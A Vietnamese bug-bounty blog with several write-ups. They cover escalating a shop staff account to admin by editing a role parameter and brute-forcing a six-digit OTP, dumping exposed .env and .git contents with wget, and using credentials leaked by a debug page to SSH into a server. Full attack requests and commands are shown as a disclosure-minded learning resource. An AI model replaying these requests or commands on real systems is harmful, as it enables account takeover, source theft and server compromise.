Sáu số không

Hình như mình có cái aura, mình tìm được bug gì hay hay một tí ở program nào thì ngay lập tức program đó dẹp tiệm 🙁 Buồn, lâu lâu mới có program chơi, đục chưa đã thì nó đã đóng 🙁 Đang trong thời gian thất nghiệp nghèo đói nữa chứ 🙁

Thôi thì sự thật phũ phàng, không còn gì đào móc ở program đó được nữa thì mình chuyển qua program khác. Lần này là một program mới toanh. Làm program cũ có cái lợi đó là mình đã tìm hiểu cái program đó lâu rồi, flow chương trình mình đã nắm rồi, có những endpoint nào dễ bị attack thì mình cũng đã review rồi, nên khá dễ cho mình trong việc tìm bug. Còn program mới thì mặc dù nhiều low-hanging fruit, bug dễ, nhìn phát là thấy, tuy nhiên khi program mới vừa start thì có rất rất nhiều researcher khác lao vào tìm lỗi, dẫn đến việc “trâu chậm uống nước đục”, duplicate cứ gọi là nhiều như lá mùa thu vậy. Cũng đành chịu thôi biết sao giờ.

Target lần này là một platform bán hàng. Đúng như quy trình test thông thường, mình vào đăng ký một tài khoản trên trang của shop. Lướt lướt một vòng thì thấy trang này có chức năng add thêm tài khoản khác để làm các công việc như operator và cashier. Mình add thử một cashier và bắt request lại:

POST /customer/staff/createStaff HTTP/1.1
Host: shop.tld
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 88
Connection: close
Referer: https://shop.tld/customer/info
Cookie: PHPSESSID=3iq58fpdt3t7dnut3qs918gvr2; _ga=GA1.2.466966956.1568112176; _gid=GA1.2.1237610805.1568112176; _fbp=fb.1.1568112176898.805353260;

fullname=xxx&tel=0900000000&role=cashier&password=0okmnji9&retype_pw=0okmnji9&otp=

Ơ mà nếu mình thay cashier thành admin thì sao nhỉ? Edit request thành:

POST /customer/staff/createStaff HTTP/1.1
Host: shop.tld
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 88
Connection: close
Referer: https://shop.tld/customer/info
Cookie: PHPSESSID=3iq58fpdt3t7dnut3qs918gvr2; _ga=GA1.2.466966956.1568112176; _gid=GA1.2.1237610805.1568112176; _fbp=fb.1.1568112176898.805353260;

fullname=xxx&tel=0900000000&role=admin&password=0okmnji9&retype_pw=0okmnji9&otp=

Response trả về:

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 Sep 2019 16:14:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload;
Content-Length: 82

{"success":true,"message":"OTP is successfully sent to 090000000"}

Hay lắm, có vẻ như add được admin rồi. Nhưng mà chỗ này lại vướng cái OTP nhỉ 😕 Add vào bằng số điện thoại của mình thì không nói làm gì, add bằng số điện thoại bất kỳ thử xem?

Đến đây thì mình lại nhớ đến ngày xưa, lúc mình mới chập chững học bảo mật, có lần mình thấy một cái write-up cho bug bounty program của Facebook, $15000. Lúc đó mình đã nghĩ không biết đến khi nào mình mới được số bounty chừng đó. Mặc dù cho đến nay số lẻ trong bounty đó mình còn chưa có được, nhưng kỹ thuật áp dụng trong write-up đó thì giờ đây mình đã có cơ hội áp dụng 🙂

Thực hiện brute-force OTP bằng request sau. Bởi vì OTP chỉ có 6 chữ số, nên số request tối đa cần thực hiện chỉ là một triệu. Nhét vào Intruder, nhấn Start Attack và ngồi đợi thôi =]]

POST /shop/validateOTP HTTP/1.1
Host: shop.tld
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 10
Connection: close
Referer: https://shop.tld/customer/info
Cookie: PHPSESSID=3iq58fpdt3t7dnut3qs918gvr2; _ga=GA1.2.466966956.1568112176; _gid=GA1.2.1237610805.1568112176; _fbp=fb.1.1568112176898.805353260;

otp=[from 000000 to 999999]

Và kết quả là…

Add được admin vào shop rồi thì… làm gì nữa đây các bạn? Chẳng lẽ đi sửa tên shop, sửa số tài khoản của shop thành của mình để tiền về ư =]]]]

Happy hacking!

One request, one kill

Một thời gian trước đây mình có đọc được một write-up của anh @ngalog, một cao thủ bug bounty, hay target vào Uber, Gitlab,… Anh ấy nói rằng trung bình một ngày anh ấy đọc khoảng 15 nghìn request để có thể tìm được bug. Nghe mà choáng. Trước giờ số request cao nhất của mình chỉ vào khoảng 3 nghìn, tuy nhiên đã có một số lớn request đến từ detectportal.firefox.com rồi.

Nhưng mà nói đi cũng phải nói lại, đôi lúc để hack một website không cần nhiều request đến vậy. Mình đã gặp ít nhất là 2 cases, mỗi case mình chỉ cần 1 request là đã có thể compromise được server. Tất nhiên đó chỉ là may mắn, bởi vì để có được 2 cases thành công, ai biết được mình đã thất bại trong bao nhiêu case khác? Hì hì, nhưng mà, mình có đọc được ở đâu đó, chắc là trong đống truyện tiên hiệp huyền huyễn, rằng “may mắn cũng là một loại thực lực”. Thôi thì cứ tin như vậy đi, cho cuộc đời nó tươi đẹp, nhỉ 😀

Các case mình chia sẻ dưới đây có thể được phân loại vào dạng “Information Leakage”. Có nhiều loại leakage, và impact của các loại này cũng khác nhau. Có loại thì sẽ dẫn đến compromise cả server, có loại chỉ show ra sensitive information nhưng không ảnh hưởng nhiều đến hệ thống. Tuy nhiên nhìn chung, information leakage là một loại lỗi cần tránh. Hacker hoàn toàn có thể hack cả server, chỉ cần dựa vào những thông tin tưởng chừng như vô hại này.

Một ngày đẹp trời, khoảng gần hai năm trước, trên twitter xuất hiện một tweet khá hay. Uhm, Laravel à. Ngay lập tức mình nhớ đến một website “quen biết” cũng dùng Laravel. Thử một request đến https://thatwebsite.com/.env, kết quả trả về làm mình thật bất ngờ…

Với những credential này, tại thời điểm đó mình có thể login vào một hệ quản trị của server, và chạy được command. Không có gì phức tạp, nhỉ. Đương nhiên, vì không có gì phức tạp nên cũng không có bounty :'(

Case thứ hai là một case bug bounty mình đã gặp cách đây khoảng nửa năm. Khi biết target chạy WordPress thì suy nghĩ đầu tiên trong đầu mình là: thôi RIP rồi, WordPress thì làm ăn gì được đây 🙁 Tuy nhiên lúc đó, không hiểu ma xui quỷ khiến thế nào, mình ngứa tay chọc thử https://domain.com/.git

Mà truy cập vào được folder .git nghĩa là bạn có thể download toàn bộ source code của website, bằng cách dùng hai command dưới đây:

$ wget --mirror -I .git https://domain.com/.git/
$ git checkout -- .

Kết quả là…

Đương nhiên, site chạy WordPress thì mình cũng nên đọc wp-config.php cho đúng quy trình:

Thôi đến đây thì nên submit thôi 😀 Happy hacking!

Test tool và cái kết

Khai trương blog mới bằng một case mình mới gặp gần đây. Case này thì khá là đơn giản (nếu không muốn nói là rất dễ, ai cũng làm được, không hề có kỹ thuật gì cao siêu, rất cơ bản). Mấu chốt để mình có thể tìm được bug này theo mình là “đúng thời điểm”.

Lúc trước viết write-up nhiều, nên được các lãnh đạo ưu ái cho làm writer trên blog tradahacking.vn. May sao số view vừa đủ để được tặng một vé dự Trà đá Hacking #8, vé tận mấy trăm nghìn. Bỏ thì tiếc, mà đi thì không biết đào đâu ra tiền mà đi (nói mọi người không tin, chứ đến tận lúc viết bài trong tài khoản mình còn không tới nổi 100k, đứa nào nói điêu làm :dog: sủa gâu gâu).

Chợt nhớ lại mấy target bug bounty ở VN thời gian trước mình có làm, tầm gần nửa năm về trước. Tại sao lúc đó mình chọn những target VN? Dễ thôi, thứ nhất mình là người Việt, nên những target VN mình sẽ dễ dàng hiểu được flow chương trình hơn; thứ hai mình muốn ủng hộ “hàng Việt”, thay vì để đám hacker nước ngoài phá thì thôi để mình làm cho, ít thiệt hại hơn; thứ ba, tại thời điểm đó mình không/chưa đủ trình làm mấy target trên HackerOne hay Bugcrowd các kiểu. Trên đó tiền bounty toàn mấy anh trong private program lượm hết, còn public thì chỉ có đợi định mệnh gọi tên. Cựu đồng nghiệp của mình RCE còn bị duplicate nữa thì hiểu rồi. Nên thôi, ta về ta tắm ao ta, mặc dù tiền ít, nhưng được một cái là ít người tranh giành hơn, may ra còn sót được vài bug low-hanging fruit cho mình lượm.

Thế là mình bắt tay vào thử tìm bug, với tâm thế là không còn gì để mất. Có bug thì mình book vé đi Hà Nội chơi Trà đá Hacking, không thì đành ở nhà hóng các idol từ xa vậy :((

Bởi vì đây là một target cũ, trong một chương trình public bug bounty, mình đã làm khoảng nửa năm rồi, nên mình sẽ skip qua phần subdomain enumeration, cho đỡ tốn thời gian.

Ơ khoan đã! Nửa năm rồi, làm sao biết được không có subdomain mới?

Tình cờ, hai ngày trước, kênh Telegram The Bug Bounty Hunter suggest một tool tìm subdomain mới, với description rất kêu: “The fastest and cross-platform subdomain enumerator, don’t waste your time“. Thôi thì nhân tiện, thử tool mới xem sao.

Clone về, chmod rồi run thử. Tool chạy khá nhanh, và cho kết quả khá nhiều. Lướt xem thì đúng như dự đoán, có một subdomain mới. Truy cập vào thì thấy một trang trắng trơn. Đúng hơn là có vài option cho chọn, nhưng chẳng có gì xuất hiện, hơn nữa còn đòi quyền access location. Với “bản năng” của một người làm web (=]]]]), mình view source, tìm xem có chỗ nào khả nghi không. Lại tình cờ, hôm trước mình vừa đọc một bài viết của một idol bằng tuổi, bài viết bảo rằng muốn tìm bug low-hanging fruit thì nên chăm nhìn vào các file javascript. Mình thì rất tin các idol, nên mình check /js/script.js. Trời không phụ lòng người, mình thấy một endpoint khá thú vị.

OK, access thử vào endpoint xem. Thật bất ngờ, APP_DEBUG đang bật, và…

Username và password rành rành ra thế kia thì lấy submit thôi chứ đợi gì nữa. Soạn một report cực kỳ tâm huyết, đầy đủ các bước từ lúc subdomain enumeration đến khi leak được username/password, rồi nhấn submit. Tắt máy đi ăn.

Ơ khoan đã! Cứ thế mà submit thì nó lại không hay, vì không có impact gì cụ thể cả. Mình tự hỏi với username và password đó không biết mình còn có thể làm gì được nữa không? Thế là như một thói quen, mình ném cái domain này vào nmap. Còn tại sao cái này được gọi là “thói quen” thì… ahihi.

Đây rồi, port 22 đây rồi. Thử ssh vào bằng username và password trên kia thử, biết đâu bất ngờ. Ơ mà bất ngờ thật…

Tới đây thì còn gì để nói nữa đâu hả những người anh em thiện lành :))

À đâu, còn chứ. Chuyện nó cứ thế mà kết thúc thì có gì là hấp dẫn đâu. Cứ tưởng có tiền bù được tiền vé đi Trà đá Hacking, không ngờ… 

Đời không như là mơ các bạn ạ :((

New blog, new post

Hi, long time no see.

Bài post kỹ thuật gần nhất của mình trên blog cũ đã được gần 2 năm tuổi. Điều đó nghĩa là lâu nay mình chẳng có gì để viết, đúng hơn là không có được một bài chia sẻ nào về chuyên môn, chỉ toàn là chém gió với thị phi. Phần vì lười, phần vì… dốt. Thật hổ thẹn, nhất là khi thấy các đàn em càng ngày càng giỏi, còn mình thì dậm chân tại chỗ, thậm chí còn thụt lùi… Cuộc sống mà, khó khăn đủ đường. Bạn không thể vừa đi làm, vừa làm việc bạn thích, vừa đi làm bug bounty bên ngoài kiếm thêm thu nhập, vừa chơi CTF, vừa có thời gian chơi game, có thời gian đi xem phim với bạn gái,… trong một ngày được. Thế nên, đành phải hy sinh một vài thứ. Mà hy sinh vài thứ thì đồng nghĩa với việc quỹ thời gian được dành ra để viết lách, chia sẻ, vốn đã ít ỏi nay… biến mất luôn.

Mình cũng không rõ blog này là blog thứ bao nhiêu của mình nữa rồi, haha. Hy vọng nó sẽ là cái cuối. Mình sẽ cố gắng duy trì cái blog này lâu nhất có thể. Thêm nữa, blog này mình sẽ viết hoàn toàn bằng tiếng Việt.

Mục tiêu mình làm blog này, như đã nói ở trên, là để chia sẻ kỹ thuật, đặc biệt là các write-up của mình từ khi mình mới bắt đầu làm bug bounty. Thật ra thì trình mình cũng có hạn (nếu không muốn nói là kém), làm bug bounty trước giờ chỉ là cho vui, lấy tí fame, bounty cũng không có nhiều. Mình chưa hề có ý định làm fulltime bug bounty, hay sống bằng nghề này. Tuy nhiên, mình muốn góp một chút ít công sức của mình để các bạn đi sau không bị bỡ ngỡ như mình lúc đầu.

Kinh nghiệm bản thân cho thấy, lúc mới bắt đầu làm bug bounty, đa phần các bạn… không biết làm gì. Target public thì nhiều, nhưng đã bị bao nhiêu researcher khác “quậy” nát rồi. Target private thì không được join, vì profile trắng trơn ai mà mời. Rồi thì, tiền thưởng có bao nhiêu mấy anh trong private program lượm hết, public program đa số chỉ là VDP (Vulnerability Disclosure Program), không có tiền. Làm program không có tiền thì vừa chán, vừa chẳng có động lực gì. Thêm nữa, nhiều khi skill các bạn chưa đủ, cũng không có kinh nghiệm, nên rất dễ bị nản. Nói chứ đến bây giờ mình vẫn còn thấy nản mà :((

Bên cạnh đó, khi làm blog này em cũng mong được sự giúp đỡ của các anh đã có nhiều thành công trong nghề, các anh có những profile bug bounty khủng, đã gặp những case hay… mong các anh, nếu có thể được, thì bằng kinh nghiệm của mình, các anh có thể giúp tụi em phần nào bớt đi được những khó khăn hay sai lầm mà các anh đã gặp, hoặc chia sẻ cho tụi em những kỹ thuật hay, những tips, tricks hữu dụng trong việc pentest hằng ngày hoặc khi làm bug bounty. Rất biết ơn các anh.

Thôi nói vậy đủ rồi, bắt đầu hack dạo thôi!